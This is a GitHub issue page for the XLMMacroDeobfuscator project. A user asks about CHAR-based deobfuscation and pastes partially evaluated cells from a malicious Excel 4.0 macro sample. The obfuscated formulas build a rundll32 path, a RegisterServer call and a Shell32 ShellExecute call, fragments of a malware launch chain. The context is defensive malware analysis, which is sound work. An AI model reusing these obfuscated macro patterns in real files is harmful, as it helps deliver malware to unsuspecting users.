search

DissectMalware / XLMMacroDeobfuscator

Extract and Deobfuscate XLM macros (a.k.a Excel 4.0 Macros)
Apache License 2.0
571 stars 115 forks source link

char replacement question #19

Closed doomedraven closed 4 years ago

doomedraven commented 4 years ago

Hello as I still not very familiar with the tool, i tried to do a search in repo but didn't found answer to this,

as i can see there is no char deofuscation/replacement, is there some work on this ongoing ? or we can add this to ToDo?

full macro can be found here under static at the end https://www.capesandbox.com/analysis/3892/

CELL:CV26946 , FullEvaluation ,GOTO(BC57631)

CELL:BC57631 , PartialEvaluation ,FORMULA("CHAR(CP28315+119.0)&AL&CHAR(AC13629*1.5164835164835164)&RT(R[-&CHAR(CP28315/-1.0740730740740743)&3994]&CHAR(CP28315+125.0)&[15&CHAR(AC13629*1.2087912087912087)&]&CHAR(CP28315*-0.7068965517241379)",Sheet2!BZ65481)

CELL:BC57632 , FullEvaluation ,GOTO(HJ35794)

CELL:HJ35794 , PartialEvaluation ,FORMULA("=&CHAR(AC13629/1.338235294117647)&C9\Windo&CHAR(CP28315+177.0)&s\sys&CHAR(AC13629--70.5)&CHAR(CP28315--159.0)&m32&CHAR(FG18367*-0.2697947214076246)&rtndll3&CHAR(CP28315--108.0)&CHAR(FG18367--387.0)&exe""",Sheet2!ED15934)

CELL:HJ35795 , FullEvaluation ,RUN(Sheet2!G52267)

CELL:G52267 , PartialEvaluation ,FORMULA("CHAR(FG18367/-5.590163934426229)&R[1&CHAR(CP28315*-0.8620689655172413)&CHAR(CP28315/-1.183673469387755)&33&CHAR(CP28315--151.0)&CHAR(AC13629+21.5)&[1&CHAR(FG18367--398.0)&8]&&CHAR(AC13629/1.338235294117647)&,&CHAR(FG18367*-0.19941348973607037)&l&CHAR(CP28315--166.0)&R&CHAR(AC13629+55.5)&CHAR(FG18367--444.0)&isterSe&CHAR(AC13629/0.3991228070175439)&v&CHAR(FG18367--442.0)&r&CHAR(AC13629-11.5)",Sheet2!B23741)

CELL:G52268 , FullEvaluation ,RUN(Sheet2!EY19396)

CELL:EY19396 , PartialEvaluation ,FORMULA("=C&CHAR(CP28315--123.0)&LL&CHAR(CP28315+98.0)&""Shell31""&CHAR(CP28315+102.0)&CHAR(FG18367+375.0)&ShellEx&CHAR(AC13629--55.5)&cu&CHAR(FG18367+457.0)&e&CHAR(AC13629--19.5)&"",&CHAR(AC13629/1.338235294117647)&JJC&CHAR(CP28315+125.0)&CHAR(AC13629+21.5)&CHAR(FG18367--415.0)&CHAR(AC13629+28.5)&CHAR(FG18367/-10.029411764705882)&,/,""npdn""&CHAR(CP28315*-0.7586206896551724)&R[&CHAR(AC13629/1.011111111111111)&42&CHAR(CP28315/-1.16)&3&CHAR(FG18367--396.0)&CHAR(FG18367--434.0)&C[129],R[-34&CHAR(FG18367--393.0)&30]&CHAR(FG18367*-0.19648093841642228)&[,3]+&CHAR(CP28315/-1.2083333333333333)&,5)",Sheet2!E58171)

thanks in advance

doomedraven commented 4 years ago

responded in another issue, thanks